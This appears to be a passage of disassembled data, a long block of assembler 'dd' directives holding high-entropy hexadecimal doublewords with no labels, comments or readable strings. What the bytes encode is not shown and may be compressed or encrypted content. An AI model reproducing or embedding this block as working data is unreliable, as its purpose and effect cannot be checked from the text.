		dd 0AB4AD121h, 40CE1894h, 605029DEh, 72E37546h,	33327A00h
		dd 601D6A02h, 4A504457h, 0F1EE4BAh, 1BFCA5B7h, 4308A421h
		dd 0C4AF0421h, 30D102C0h, 0C4088FFh, 7E6CA7D5h,	0EF6000D2h
		dd 400A09F0h, 2250196Eh, 61023420h, 730F354Ch, 194872C7h
		dd 39DBB252h, 59D824A2h, 0CC4F1E01h, 3C8CC590h,	0ED5A4980h
		dd 315B2EB7h, 5C9B4701h, 98C33906h, 0C4496181h,	82308493h
		dd 6A352311h, 202C609Bh, 349E5099h, 46B718FFh, 0C4AC48B0h
		dd 2BB8A507h, 0B4FD15Bh, 8E368F0Ch, 4C7481D7h, 9CE8A52Ah
		dd 49A8093Ch, 0E00DB10Ah, 128130A8h, 0B083062h,	0CB20007Eh
		dd 26337659h, 3CBA49CAh, 0F800BB09h, 5384B749h,	0FF0E5945h
		dd 0C0C04DBFh, 0E6F70989h, 135B000Eh, 2FA39F84h, 5F02E8DAh
		dd 47ABF220h, 0DDC49062h, 72438C3h, 4421F49Fh, 0D0A7B60Dh
		dd 75F1EDA0h, 40AC4E0Eh, 76D09504h, 80498D38h, 37730A39h
		dd 1B52012h, 42140C10h,	404EDD04h, 4133E6B8h, 51303518h
		dd 7C94CA10h, 0A49F126Eh, 20B400F4h, 243FFD4Ah,	4B75D401h
		dd 50351F53h, 0EE3AE116h, 0EABC03F7h, 17D292F0h, 34A538h
		dd 0ACEFD574h, 20FFDA73h, 30606D04h, 4FB63C21h,	60163C0Ah
		dd 1C28A161h, 24AC42CBh, 401D2302h, 2351BF8h, 1EF8263Eh
		dd 80636CE3h, 0CE4950C6h, 0A80A2B38h, 0F93810B0h, 3CC178EFh
		dd 0A8CCA850h, 0C04D3854h, 0D5659FC1h, 8E2B2851h, 0AF88B861h
		dd 409A6404h, 38DD6829h, 0E86700ACh, 28CAF0B8h,	900EF91h
		dd 614946C1h, 11C40B2h,	4D4ADDC2h, 8043C0B1h, 2DFFF58h
		dd 9B7507h, 5AF28528h, 9A26701Eh, 0A5254E03h, 0F7D69194h
		dd 0CE134D87h, 0BFC80349h, 73CDEDB8h, 2107CCA0h, 3126BD3Fh
		dd 64B1F859h, 9F39FC50h, 0C98B6597h, 8900463h, 3CAB03CCh
		dd 165018EAh, 0C010316Fh, 73172074h, 50509668h,	447F07D8h
		dd 0BE4154ABh, 8C5CC313h, 0D35409Bh, 0A84016E8h, 1A809280h
		dd 3163BFD5h, 250E1C80h, 79243585h, 97E3304Eh, 2C29501Dh
		dd 0C3191E9Bh, 404C288Dh, 0DB28C71Bh, 4F3360CBh, 181F050h
		dd 0C4027329h, 0D4C7FF43h, 9B0F9C6Bh, 0C67BD0ABh, 0D3402D78h
		dd 8C8C0099h, 9649407Fh, 0A05924h, 2EED18BFh, 88C97C28h
		dd 0D9287F64h, 312E3CD5h, 2F1458A2h, 0BB968158h, 90914E2Dh
		dd 0F9978155h, 0F043268Fh, 2D1C9827h, 63CE3845h, 0E2493507h
		dd 6826E083h, 9912F09Ch, 0B8087EC7h, 0BEC180CFh, 0B276211Dh
		dd 1E609C7Ch, 8F834979h, 8E4C3509h, 0EC340371h,	219B35A2h
		dd 0D894D115h, 0D2E822B0h, 0C35C0688h, 6033987h, 75C19344h
		dd 0EB64A10Fh, 0D8B020h, 6B9B3726h, 0C7B3037Bh,	51E50C90h
		dd 9463E38Ch, 878C1D10h, 0ACC07B66h, 0A8945930h, 9CD1CA8h
		dd 0C038847Dh, 7568CC90h, 0F020352Eh, 10198D0Ch, 871F070Fh
		dd 0D15A3E83h, 2226AB04h, 38A3EC8h, 9C3BCD79h, 0EA1BC09Eh
		dd 0C1E60203h, 97A346CCh, 505EC8A5h, 1B02BF98h,	35B9FC66h
		dd 902278D5h, 0B7F900FCh, 46BC26F4h, 91C11FC0h,	42EBE9D7h
		dd 0C3847862h, 2F0CD03Ah, 77001F52h, 51B858EDh,	3E197B25h
		dd 0F3865A7Ch, 20532BE6h, 0C0695000h, 619ABFF2h, 9174485Dh
		dd 52ADA403h, 2213AC5Fh, 0A00FF7Eh, 0C2886E2Fh,	0C389004Bh
		dd 27C9B9A1h, 0EF05A487h, 9AABF991h, 3E574CA0h,	0AC803008h
		dd 4FE92F81h, 5000FECDh, 90FDF6E2h, 0FC868Fh, 83058AF3h
		dd 2568BE5h, 0EA0C1100h, 0ACBBCF7h, 0E1B60BB4h,	0D0C032C7h
		dd 0E7722E66h, 3BED2300h, 43B54149h, 80D40717h,	855A28A1h
		dd 0A060005Ch, 0A6338C6Bh, 7CEA7000h, 0BFA9B19Ch, 0B2EB0FD3h
		dd 3980278Ah, 0B8119560h, 28527503h, 901449E8h,	0FC4F82h
		dd 0B14AD191h, 0F6507F56h, 816FA03Eh, 94192DD2h, 0F7C42559h
		dd 0B4CF00EBh, 0DE530D3Bh, 92004693h, 0C4E5CDBEh, 0B6AA9h
		dd 840C5714h, 0B81D0902h, 1E9EF400h, 5AA9AB61h,	95FC44h
		dd 0F2738677h, 4778D3C1h, 65599300h, 69D071C9h,	0EEF0A831h
		dd 0D4BA00F4h, 0BF778411h, 0F101B248h, 3C657CF8h, 1987E609h
		dd 80CF9AE3h, 6EA922A8h, 4B07357Eh, 0BEDEC5B9h,	18D63C30h
		dd 0D612682h, 0C69040ECh, 45009EA9h, 726C2568h,	1DE2D42h
		dd 6F6551CBh, 0D8707F02h, 1200AB14h, 56275BE3h,	91C364h
		dd 89E1EDBBh, 0E9F6E428h, 0F7D91F00h, 0B719D262h, 0A13B002Ch
		dd 0B482AD4Bh, 0AA3E690Fh, 35BD83D3h, 88C08663h, 513877h
		dd 7224EBA0h, 791076CAh, 114CA200h, 4A4DCB45h, 47D007A7h
		dd 40652CBEh, 1D899ACEh, 0BCF98F00h, 0C231A3F1h, 0A05A0418h
		dd 0EC993B07h, 2C6B0014h, 0A22437B8h, 0B6980529h, 0B07F80B2h
		dd 0F1D9D8Ch, 8807FF9Ah, 0ECA15144h, 0CEE4FAC8h, 0A5C50352h
		dd 348CDAB0h, 0A81E3EF0h, 440F0601h, 81ADB89Eh,	0E9807078h
		dd 0A9C1DCB0h, 4A0746E8h, 0D9705D02h, 17450880h, 0DE0C007Ah
		dd 9163D316h, 6E03968Ch, 0A2DF5499h, 0C070AF18h, 0B7916ABh
		dd 0A1BC71A3h, 4EFDC200h, 4700C137h, 0A41A8CD0h, 1767A2CAh
		dd 4531FE7Ah, 408078h, 694FFAB0h, 0D10EE3B1h, 0AFF12ED5h
		dd 0E90F80D0h, 607C15C1h, 0E737E243h, 5600FE1Bh, 2D3A2FFh
		dd 765DA5DAh, 9C078C7h,	0C4E8F699h, 0AA0E400h, 0CCEA6D1Ch
		dd 0BB36E400h, 0E1B7D5ACh, 489F9005h, 6B123822h, 72CD00A0h
		dd 0F5DCADB4h, 98B1F600h, 71E1CA0Fh, 4DCF05A5h,	1DF83CF2h
		dd 47442CD8h, 3269336Eh, 8CFA96E8h, 0CC6A5901h,	0E71BD51Fh
		dd 1E1FBE8h, 676CA7F8h,	0DC5D7963h, 0B5004B0Eh,	2909788Eh
		dd 0EDD77Dh, 0F16089E9h, 74846468h, 0D5693800h,	7C3DD4F2h
		dd 0A8FC53h, 0A4422992h
		dd 6F8A109Bh, 0B4EA9417h, 4DB9E500h, 0DDE73Dh, 5923B292h
		dd 98BAB7C2h, 6979290Fh, 0A664404Ah, 3057EF18h,	5A28D509h
		dd 93786077h, 3619F71Dh, 1E031F9Dh, 0F0D5FC8Dh,	0AC3C28h
		dd 4FB280FFh, 9286A843h, 60BB1F00h, 0DCE72920h,	3B70957Dh
		dd 0FDBF3F13h, 0F45C9CD0h, 25A902C7h, 1132C68Dh, 95A5C2E0h
		dd 0F8BC4B00h, 0F2DE7F1h, 587760F3h, 1021D728h,	78C45Ch
		dd 3FD3AE45h, 4EFE9Dh, 0D1A331B2h, 7D7C5E69h, 7A818800h
		dd 2B49E1F6h, 0FF751Ah,	0DA75BB83h, 0D995207Ch,	339D1503h
		dd 0A9FC35h, 0C0731A60h, 7F06EA92h, 0BEA25C00h,	0E431C9A5h
		dd 981912E9h, 0EDFCF1CEh, 8A7ADCDCh, 0D47BEA14h, 0B1340F94h
		dd 0AB16A0D6h, 0EF067E75h, 0D1A220h, 0F8B5BC8Eh, 8F1E46E4h
		dd 1BCF071Ch, 520E9C6Ch, 0B0BA0CEFh, 18F24957h,	84FF9700h
		dd 0F062C278h, 5316E300h, 2D4864Fh, 0C811C0F3h,	462A3768h
		dd 88CBB700h, 0EE86EAC5h, 7EA10B81h, 0AD0061CAh, 253EFDAAh
		dd 0F4E0707h, 6B5045F5h, 3DC25E51h, 7B80A05Bh, 0FEBA0A34h
		dd 81CA6F44h, 666298A5h, 0C93D0385h, 1B42CDC8h,	6BB49F09h
		dd 2540870Fh, 0B7B2F1D0h, 0F0F66303h, 0B09069DFh, 8B0061CEh
		dd 0B4E8DA37h, 1739254Ch, 2F9236Fh, 5F0B83EEh, 0E769CC40h
		dd 9B00D490h, 0A97F94E1h, 3E093621h, 23E291Fh, 7BEF0178h
		dd 0AB305492h, 0CF1CF8ACh, 517DDA00h, 0D1CA4B36h, 6C5C28A2h
		dd 5D2C48E4h, 3DDFC526h, 0F4B40F8Fh, 3FAC0A60h,	15EEA5F1h
		dd 0E596731Fh, 184A9443h, 80180041h, 498C8F77h,	0AA00B69Ch
		dd 2097350Fh, 16DE8ECCh, 12F98260h, 0F0C00037h,	6C318898h
		dd 4CB03Fh, 0DC1AAF52h,	3208AFEh, 0F5943B5Eh, 0E2FBED64h
		dd 2C914087h, 0D2007FF8h, 760EB733h, 789CB0FFh,	926D2688h
		dd 0F4F3030Ch, 853C14h,	7980AFC0h, 0CD0075EAh, 936C589Ah
		dd 5736A4h, 5565D7F8h, 609BF578h, 8B869400h, 24136F9Eh
		dd 0A47EC2h, 0EE1ACCE5h, 64B7AB42h, 0B3BD8E4h, 0D0AA0041h
		dd 0B327FAA3h, 5B781DC1h, 0D370004Ah, 23A29E16h, 0FD6D0C13h
		dd 3F3F58F0h, 0E74A1BEh, 0D70BCDD6h, 7FDE9E02h,	0F2000450h
		dd 664AE021h, 16D4CA3h,	926987D0h, 2070283Eh, 0B801448Eh
		dd 0D50CD3Ch, 16F4214Bh, 13040046h, 121F2C81h, 0F8013025h
		dd 425DD80Bh, 442021FEh, 0A4C706A0h, 11C67441h,	54DF2740h
		dd 0D6109Bh, 28A24D45h,	0C5CBCC61h, 6525D003h, 0D0FF2423h
		dd 5B9A43h, 72A56099h, 750302AFh, 83E60A3Bh, 0D170E3BAh
		dd 8F510033h, 259702A4h, 0CC00C984h, 9FD78669h,	8BF9DAh
		dd 0B9965526h, 1EA5910Bh, 0F54B2D0Bh, 32CA74Ch,	24FB2E50h
		dd 0FF5730EDh, 0D8F95B08h, 98031D5Bh, 842F2Bh, 4CFBCA08h
		dd 0E8595577h, 83D82C00h, 8175B17Dh, 0E54B1FCEh, 0E76C801Ch
		dd 0C921F3FFh, 0C511F51Fh, 463EE900h, 0EB41B8h,	36169C33h
		dd 0DDE382DAh, 981C94Ch, 6806A4A8h, 2D5AD33Ch, 2C3F43A5h
		dd 80B54509h, 0D9F350A4h, 0B9760008h, 5A370F4Fh, 270601D7h
		dd 3B8DA1BBh, 0DE0B3A21h, 904E504Ch, 52DA70DCh,	0B521CD00h
		dd 5C9D56D1h, 0CE771F09h, 9362C07Bh, 0D5597A2h,	189A702Eh
		dd 6E130738h, 0AB30C248h, 917EF732h, 0E42A00D0h, 78DED22Ch
		dd 974BC100h, 0B618457Dh, 95423F43h, 82C2CB9Ch,	722DD811h
		dd 0E2008056h, 0BFECE41h, 80864ECAh, 0B54420A4h, 1ABA2D00h
		dd 3A587A89h, 0BC1100B0h, 5CF8C7C4h, 0CF00955Eh, 0A225D36Dh
		dd 247099h, 47C5FBACh, 29912326h, 81DD3B3Fh, 0EEBD4431h
		dd 2FCDBF08h, 18550C0h,	3646ACC5h, 85938B5Ch, 0FDB7C488h
		dd 74550480h, 3230E3D6h, 4A3D00C5h, 7835CD44h, 3124B31Dh
		dd 8500FEAFh, 8B2564C9h, 0ED500027h, 0B4541F2Ah, 9F3B8AF8h
		dd 589730EEh, 7D1A36B5h, 3C264CD8h, 0FAFF750Eh,	0D04E1821h
		dd 1D0392Eh, 0DE37F18Ah, 0B0DC938Ch, 849E0B9Bh,	0DC80DA10h
		dd 0EED5947Bh, 4617B77Eh, 0C05D1AD0h, 315B95C3h, 0BAF3E828h
		dd 8AEAE7h, 176164C8h, 734EEA2Dh, 0E9F4A701h, 0D9FBA8B0h
		dd 375CC60h, 670A4519h,	82884AF3h, 0E100F8A5h, 62BBEA95h
		dd 0AE7098h, 9A2F3B75h,	0DA767A7Ch, 920013FCh, 60C3ACCBh
		dd 39AEF18Ch, 0B50117E0h, 127949B3h, 82946064h,	0A78EEC0Eh
		dd 0FD17E7E3h, 1305899h, 356E5DD9h, 70D31E3Ch, 0AE4487C8h
		dd 0EAFC00D4h, 0E7785629h, 7902D275h, 0C48B3BF9h, 73451DBh
		dd 60B0170Bh, 0A774356Bh, 9F2096C1h, 4AE8719Eh,	45FF00E9h
		dd 0BEBF2889h, 5AC0F96Eh, 8B4982ECh, 4862F605h,	3E0078B4h
		dd 2EC9F2DAh, 8F74519Bh, 0D5D4A703h, 945B0B39h,	0CA1204A8h
		dd 0B0E4876Ah, 0C923CCD9h, 0DC00047Bh, 0A7324EF7h, 85A8D0h
		dd 0C79F3069h, 8D38951Bh, 3D602B98h, 770F0880h,	0B38E00C1h
		dd 62A169FCh, 0BC1F7601h, 104020DCh, 4A361E8Ch,	2E9F13F4h
		dd 2934B195h, 0C353C0B8h, 9DCDE479h, 0A07E5401h, 4A08703Bh
		dd 0C1CC009Fh, 0FA501954h, 0D0481610h, 4A1C8004h, 200055EBh
		dd 59DB65C2h, 1EA81A25h, 0C05FFB6Fh, 4436DB3h, 837DCC6Ah
		dd 79C5C300h, 0C5924E9h, 0BFFA0070h, 0B0D6953Eh, 90C082A9h
		dd 0CAF6C164h, 7FD00339h, 0F81C8DD3h, 95CC5598h, 9822481Eh
		dd 9E5A1F40h, 0ECB5DD65h, 150D0040h, 0F61E97CAh, 7878B992h
		dd 242716E4h, 8F44E076h, 5ACA0B6Dh, 9000535h, 9D67B04Fh
		dd 0F77DEB00h, 13EEFB5Eh, 0D2A307B6h, 0C0E687F3h, 0DDBE3A0Ch
		dd 1DA8393Dh, 0B4005040h, 0BD6A5906h, 0CF030523h, 13D1DF9h
		dd 0DB7D3EEBh, 617080FCh, 43BD2DFEh, 0CE8C0E68h, 58EF0104h
		dd 803D74A0h, 9416C542h, 0AC4430D8h, 6CB9CE4Eh,	0FF8E5700h
		dd 45AD6CC4h, 0EE084102h, 0DCB5E647h, 91C24E0h,	0C0D0DCB8h
		dd 0B3F1CD00h, 5438C29Fh, 0BC7B0034h, 4A22901Fh, 1E79D65Dh
		dd 1F72F838h, 0A3D309C4h, 12B30C44h, 4D80BCE2h,	6B0614C6h
		dd 3E6EEB00h, 85D7D463h, 72A90093h, 1F5CB765h, 0BF009EA7h
		dd 5EDBB45h, 0E875E22h,	6D78C749h, 0A25314A1h, 1582C52h
		dd 135B7BD0h, 0EFF43F08h, 0CA20F30Ah, 192F007Eh, 0C8AF4C92h
		dd 2700CB4Fh, 9ECCFF9Ch, 10A36C2h, 77CF7089h, 0CC7466B1h
		dd 8A00D3C1h, 0A36D1AD7h, 254E57h, 0E47797Fh, 0C155ECBFh
		dd 642C3Ah, 0D8778817h,	17E5F7Dh, 0BF6426Bh, 6BFE1CD6h
		dd 9D8F681Eh, 7C658754h, 0FFB0D8C9h, 0C41F6Eh, 0A3BA6624h
		dd 7500A707h, 7BFB9520h, 9A0FB4h, 8326E894h, 4CB7817Ah
		dd 553F2502h, 59741343h, 0B12A0024h, 25519E6Ah,	0B7053Fh
		dd 0C52D673Ch, 4AAF28C8h, 4B0007F9h, 0B32B60C0h, 6400608Fh
		dd 0AD75A686h, 451899h,	0E0BB4BB4h, 0BD36EFEEh,	6268C00h
		dd 4D91AEBh, 3E551D30h,	38538003h, 16BE3517h, 32005C79h
		dd 76D58AD2h, 4F829Eh, 1FFB2C60h, 0C5F2E0BDh, 84085500h
		dd 3DE58116h, 582A00CBh, 0F4B2F159h, 5060054Dh,	0E4143558h
		dd 1B49A48h, 398C1381h,	0C0A7F708h, 2A04212Dh, 7D5701E3h
		dd 6187D480h, 0F9C72EF6h, 0BC9600D0h, 3047673Fh, 0BB8CC93Ch
		dd 82858045h, 0AB87BF75h, 58EF0E57h, 43E0290Ch,	0E3327150h
		dd 3C886A61h, 19E4AB44h, 0EC8300CFh, 9C783921h,	9E583F5Dh
		dd 52B30085h, 0C857D3EDh, 77AE00F7h, 1207D1F3h,	2F005132h
		dd 603FCB6Fh, 12996F8h,	4AC27BCAh, 0CCEC8D88h, 0BE01B691h
		dd 2D5F8C78h, 0AFF11DE4h, 0B0F0006Fh, 680C6D2Ch, 0F26A03Ah
		dd 0A29BB276h, 0E0BBA702h
		dd 5207CF3h, 605CC15Eh,	0AAA38098h, 9703CD9Ch, 3792FCEBh
		dd 0DA89C18Bh, 0BE3A9C29h, 579F842h, 6961D09Fh,	16DCD020h
		dd 5101840Ah, 0BDA4FE1Ah, 1EE0C08Fh, 4C85B833h,	0F900D8D7h
		dd 0C2E1779Ch, 10C009CAh, 2A5B727Ch, 603D00D6h,	2339C44Bh
		dd 4F00FF46h, 3CE5B24Dh, 3A4450h, 83820CC6h, 1C8465A7h
		dd 0B756470Bh, 1640001Eh, 64AF40EBh, 0BCCAE87Ch, 0C05CE158h
		dd 0B180F471h, 6E8141DCh, 0E01E30DBh, 0D4C0114Ch, 189BA051h
		dd 8FE307B9h, 0E4C61B9Eh, 60CA92Eh, 0FB316903h,	0FF5530C8h
		dd 0E9F95808h, 210AA625h, 210761B8h, 77926980h,	5BC045A4h
		dd 200C7C00h, 6524D950h, 7603005Dh, 0CF1E444Eh,	3100C01Dh
		dd 836E9647h, 285CEAh, 0D78E806Ah, 0DD55FB78h, 0DF316314h
		dd 0C34E0CD2h, 12CCD9C6h, 7355DD3h, 70931074h, 6FCE0EA9h
		dd 0C6CCD03h, 5159CCh, 30D4F1C1h, 0B5D7787Eh, 46E24317h
		dd 406D7488h, 9D000B44h, 9E963CB3h, 159F1C4h, 4A11E20h
		dd 0E051D132h, 0A218B10Fh, 0F5599F88h, 43AF0033h, 7E3CEA15h
		dd 7800A17Ch, 8DBB93B0h, 0A2E510h, 334696ACh, 0F3B32808h
		dd 0D861A600h, 0FBC0B857h, 0DE06256Fh, 0BD5138E0h, 0A49FAD02h
		dd 40857EB5h, 766FB42Ch, 0B8A5742Eh, 176D07E3h,	20158831h
		dd 7BAEB061h, 478DA10Ch, 26584Fh, 8AFBC4DEh, 0BDC3CAFAh
		dd 142E6405h, 0DC181F0Dh, 528A9FB9h, 793A8084h,	761C9B40h
		dd 6E808D64h, 2167936Dh, 73961284h, 351CA4CDh, 16291D38h
		dd 3E00CE2Ah, 0F566A1Ah, 857E20h, 83B52465h, 0BF51D3CAh
		dd 1CF63C3Dh, 0E0864CCEh, 29114039h, 7C04F703h,	0F8164E19h
		dd 1B701560h, 0BA9B0F06h, 74EFB10Ah, 0F0C80B00h, 61741608h
		dd 0F48620C0h, 35A118h,	0CAC06E2Dh, 0FB13EC11h,	0C19C2600h
		dd 5A53A65Dh, 0E53F00D7h, 0CBC2E693h, 0E902C80Dh, 271AF9D0h
		dd 61A0E03Dh, 0B30503CEh, 350948D7h, 53C22D98h,	0C4C5F100h
		dd 0BC346551h, 1C7C0011h, 68C08CA3h, 99007922h,	0C6CF879Ah
		dd 9C8E5Dh, 33A4EC45h, 0EBFBDA0Fh, 0B908DC00h, 936F7FCh
		dd 0E64C006Ah, 249044AAh, 0F00A3D9h, 14E35318h,	0CD328Eh
		dd 0C6AA12F5h, 0AF30ADE7h, 17E1ED00h, 6D08D9DEh, 8B352828h
		dd 3C750099h, 0A334D04Eh, 0E8058F39h, 0D4917E12h, 10678FC0h
		dd 48B400FAh, 0DEA65704h, 8D71E827h, 1F49CD00h,	0B7F99BE1h
		dd 0A0DFB9h, 0A21E7AC8h, 0A8C035A3h, 0F906DDC9h, 43810E4Bh
		dd 0F120336Bh, 0CAC389E6h, 0FCE05E00h, 1411CC4h, 5C24006Fh
		dd 46CF08E2h, 6D023660h, 6534C002h, 0E18483Fh, 4B4A819h
		dd 457171h, 0D0D1C0F4h,	9DAD390Ch, 0D56E020Fh, 2165E1EBh
		dd 0B5D14592h, 0D262880h, 0FF69522Fh, 0C2051490h, 0BFD11B8Dh
		dd 84EDCC00h, 23AB59h, 4A640B19h, 0F654704Eh, 6900E6B0h
		dd 33F753F1h, 782B63A2h, 0BEB00071h, 0AA355594h, 6F1F5C2Eh
		dd 80DD23BDh, 276020CFh, 0B8F7EC2Fh, 0E3E1D5F0h, 1D439808h
		dd 80592902h, 191088E7h, 69730C43h, 9DA00A00h, 6894BF7h
		dd 3CB500E5h, 35F5D812h, 1B022A31h, 0AF0959Bh, 90716041h
		dd 210012Dh, 0DDD20D3Ah, 1FE5ECD6h, 3C015572h, 8A687618h
		dd 0A2604A1Ah, 0AC130FAAh, 99C17A24h, 20F17FC8h, 94F44D98h
		dd 68EA900h, 0EEFCE58Dh, 3E9A07BBh, 20CC655Ah, 4917C156h
		dd 0A2069802h, 806AC6C8h, 6DD8DCA8h, 51C0F0Dh, 4CC05A97h
		dd 843B4DDBh, 0E30C7128h, 3EBB28C0h, 10BF7h, 0E607C8F5h
		dd 2E1CB5E1h, 8D3B8600h, 933155ABh, 0EAECAFh, 66215DA8h
		dd 5A77F0C0h, 2460F300h, 0FA32902Bh, 41BF1C13h,	0F29E4C99h
		dd 380380C0h, 8DF0D034h, 0C8B6DBC3h, 0EE5245AFh, 48163DDDh
		dd 0A4DE4203h, 0CF801D75h, 503C1B29h, 0CEC50433h, 80BC1Eh
		dd 0F1E3BAh, 5416F6A1h,	234AB9BDh, 0FB0010FAh, 0B2F3D45Bh
		dd 24FEBB71h, 9342B0Ah,	38A35092h, 0E2E0FD46h, 5416AD80h
		dd 99004AA9h, 1252DC90h, 96AE5CD0h, 0DF23D900h,	8C29956h
		dd 81792B0Eh, 0C5454049h, 0A50F0h, 1C5AFACDh, 11EDE442h
		dd 0CABBB00Bh, 0F84200E0h, 0AA4ABh, 0E8A1E150h,	98BD7932h
		dd 0ED540CC0h, 5ECC4Ch,	3DA72A4h, 2692D281h, 0DED7C401h
		dd 71B6E6F9h, 9F0A3080h, 21B5CC59h, 1D023BF4h, 329AB7C6h
		dd 0A872E0D0h, 5E640028h, 0DD08D4EFh, 49007137h, 467B926Eh
		dd 0C0992995h, 0CFDFD2B6h, 0F5003D82h, 1B07ECE1h, 0E7DE6CBh
		dd 58A1A506h, 327A9AC0h, 671FF965h, 0E7D3E1F8h,	4DECCC00h
		dd 1870F39h, 0B260A01Bh, 0EC7055BBh, 0E8039C9Dh, 806BB6ABh
		dd 687C0Eh, 891FE16Ah, 11841BD7h, 0F97ADB00h, 97D66B1Eh
		dd 985D02D9h, 0AD4CFFBAh, 1A5EBC68h, 0E377C3Bh,	0C041FC67h
		dd 0A0435199h, 92FE01B8h, 198D20DFh, 7446215h, 0A8A6DD54h
		dd 58C22371h, 125788DCh, 1459F1Ch, 3697464h, 0C7C850F3h
		dd 0C40EB172h, 6087A1D1h, 868D88DFh, 0BECD1828h, 0B79D4135h
		dd 0C7F83D13h, 0B81DE05Eh, 25D75D49h, 8420E81Ch, 865948h
		dd 0BE77E97Ah, 0BFA4110Eh, 0E1EC6301h, 0DFCB2D2Ah, 15A170h
		dd 273C504Dh, 832009F1h, 46877114h, 3E590094h, 3AFEA591h
		dd 0C5240082h, 0D05330CAh, 9700323Fh, 6213EBA0h, 0F96CC1h
		dd 24A77076h, 462C5623h, 0CED55E00h, 0DF9F3D02h, 0CC7400C3h
		dd 814CD1F4h, 9B00AEB4h, 0A8D08880h, 6A4905h, 5EC474C2h
		dd 0B7A19AF3h, 3E35400h, 0EA46A61Dh, 48BD3F21h,	7DD7FF8Fh
		dd 144D3440h, 6000C10Ch, 7EF85BA1h, 0CA912Fh, 0B03CA256h
		dd 0B1CF6E0Bh, 17FDE600h, 9C6469B7h, 0FFCE0170h, 575076C6h
		dd 1CBE708Ah, 942D82C7h, 0FEB7E780h, 8882004Ah,	3843E67Bh
		dd 512FF6Ch, 0FD0047ADh, 0F8864DD2h, 0ABE300FEh, 0CCBC0EDFh
		dd 140088B9h, 0D464ACCAh, 0E05986h, 38DA34B0h, 6FDE9B57h
		dd 0A47D65E8h, 979B400h, 0A0FBDF4Fh, 778D1F1Dh,	0CFED80F4h
		dd 9C1363AAh, 9D5DF2B8h, 34FB0114h, 0ED315B87h,	0C46260DEh
		dd 0F1D20BFAh, 4CA1D38Eh, 20FCC3B8h, 350037C5h,	4E76728Dh
		dd 26B3C6h, 619D7F8Fh, 0A12E3A9Ah, 24F74800h, 2CA0AF74h
		dd 0D24700BFh, 0F6DA4D27h, 3100EA6Ah, 344EBC4Fh, 7A2B8ACh
		dd 720589FBh, 455300Bh,	8A002EF7h, 0E8D520D8h, 92AC9EB5h
		dd 186B040h, 0A2BEE205h, 8C0E3B9Fh, 20347E3Eh, 3DDE7CB0h
		dd 5C4C0584h, 0C39D5201h, 0E05C16DCh, 0A11F2792h, 0D805544Dh
		dd 0C0D006C2h, 0C0D13938h, 0E9ADD661h, 42FC1BB7h, 0D573F50Ch
		dd 30DA11E3h, 641FCF4h,	7E0B97DFh, 0AAF9820Fh, 0D800D4DCh
		dd 641AECEAh, 4ED718D2h, 0BDD06875h, 4F4E800h, 0BC5F4A25h
		dd 0B6EE0022h, 955660DCh, 8860A3DDh, 922E64C6h,	687AA2h
		dd 1433C3E8h, 0ABADA0B2h, 1CF8EB00h, 0ADADF3Bh,	5A262636h
		dd 82B20754h, 8EE1B78Dh, 0D5118FDEh, 18B0F8A5h,	9ED7D8FAh
		dd 0E10318F4h, 77F7A27Eh, 8D08186Ch, 64792063h,	78CAD500h
		dd 0ABE62C26h, 29C50152h, 89995B37h, 115C8662h,	30BE6Bh
		dd 0A487A2D9h, 65DBDDF9h, 882F8E15h, 0C0CE1884h, 707B16h
		dd 5F6B022Eh, 0B6883041h, 4B0F64E8h, 3DAB83Eh, 0FEB37Ch
		dd 59933F50h, 11A889DFh, 0D2F11400h, 0BAE756DAh, 35C8032Dh
		dd 69405C7Ch, 98A31B88h, 14D5B38h, 526E5859h, 18D06307h
		dd 0FF9F09ECh, 25806454h, 0B65B827h, 3C4DA600h,	0F32857ADh
		dd 3B8E3EDFh, 9A3F200h,	269BED05h, 8124181Eh, 692CD683h
		dd 2FE0EFCCh, 1F8682Dh
		dd 0AF4DFB37h, 210FA13Fh, 0AA4ED0FBh, 0D7BE9B00h, 0E18231F4h
		dd 975A0068h, 0E9908B63h, 7C007B49h, 541D7073h,	4FB2F16h
		dd 9611A43Fh, 8193C335h, 93CB2090h, 8F22031Ch, 1C586B43h
		dd 0B47C8917h, 0F9518ACh, 59E049A0h, 5C6CFEA1h,	267B9400h
		dd 324A8557h, 3CC7F039h, 76005969h, 1F8AF5D3h, 930EB51Bh
		dd 803662B9h, 6B01023Dh, 8F033E1Ch, 0C6AF4A07h,	186DA072h
		dd 0CCFEF641h, 1B37C500h, 24D12FBBh, 6FDA269Dh,	0E87A03F2h
		dd 18012EF2h, 6E180473h, 0D3F1C756h, 0FD94C0FBh, 0ECCD06E5h
		dd 28CE7346h, 5334B20Bh, 7AD88365h, 195E9388h, 0D909EF18h
		dd 610458CCh, 296E4A00h, 36F977F6h, 6004B894h, 0DB0FD842h
		dd 0B7004778h, 86217015h, 709C4387h, 5C9FC07Fh,	0E23B9AE4h
		dd 4850853Eh, 1D400B9h,	295983A9h, 0F700Bh, 0AB043489h
		dd 46F6CDDEh, 0FDCE28A0h, 93191065h, 692C483h, 0EC853799h
		dd 7A0AA904h, 60C3EACBh, 7D7CD560h, 104418F3h, 13EFA8B7h
		dd 15347480h, 90D9EC7Fh, 2635B300h, 80DAD4F7h, 47CE014h
		dd 0B7F10548h, 7C215502h, 8513701h, 7981065Ah, 2DE44422h
		dd 4C1885E1h, 8420537Fh, 67B24B94h, 5CC140FBh, 4A429990h
		dd 0E39FC008h, 607F4570h, 0F60E4937h, 39C0E6EEh, 0CF3EE102h
		dd 2E47C4Dh, 0DC3209D4h, 0B8833673h, 7EF01476h,	31C0E3E8h
		dd 55C6B225h, 3F1E067Ah, 595C43D2h, 79E4CE18h, 1560F39h
		dd 7C847A24h, 40EEC11Ch, 5020F694h, 9C5DC32Ah, 310FE00h
		dd 4246B15Ah, 99714BBh,	7E8450h, 0B294B94Dh, 0FE7AA907h
		dd 0D225C207h, 0D9800549h, 7301CCh, 0A8FA0CACh,	0BAA2D35Ah
		dd 0DB8823Eh, 204E1755h, 94083404h, 8693E0h, 12AD5366h
		dd 0A0A44C20h, 0E3CC0300h, 6C746935h, 39C90F5h,	0D1F2BBE0h
		dd 98181A1Fh, 93281B58h, 999F0304h, 8EBAA8B4h, 0B74276C0h
		dd 0F4E84A8h, 54F51F01h, 785D147h, 1C575F4h, 6942F6FDh
		dd 0A1F722B1h, 0FC504060h, 4A1F0812h, 0BAE48EC5h, 8328FA07h
		dd 180005B0h, 85D2CFC3h, 924C0712h, 97B91864h, 474421A4h
		dd 888754A2h, 11BC8A73h, 0B1983D14h, 4989386Bh,	7BF54824h
		dd 0F8F424FEh, 127B0C2Ch, 45088B0h, 3892E7EEh, 0C4C1528h
		dd 0D97B8011h, 8073BC10h, 0C754140Ch, 710860EBh, 0B01D9E97h
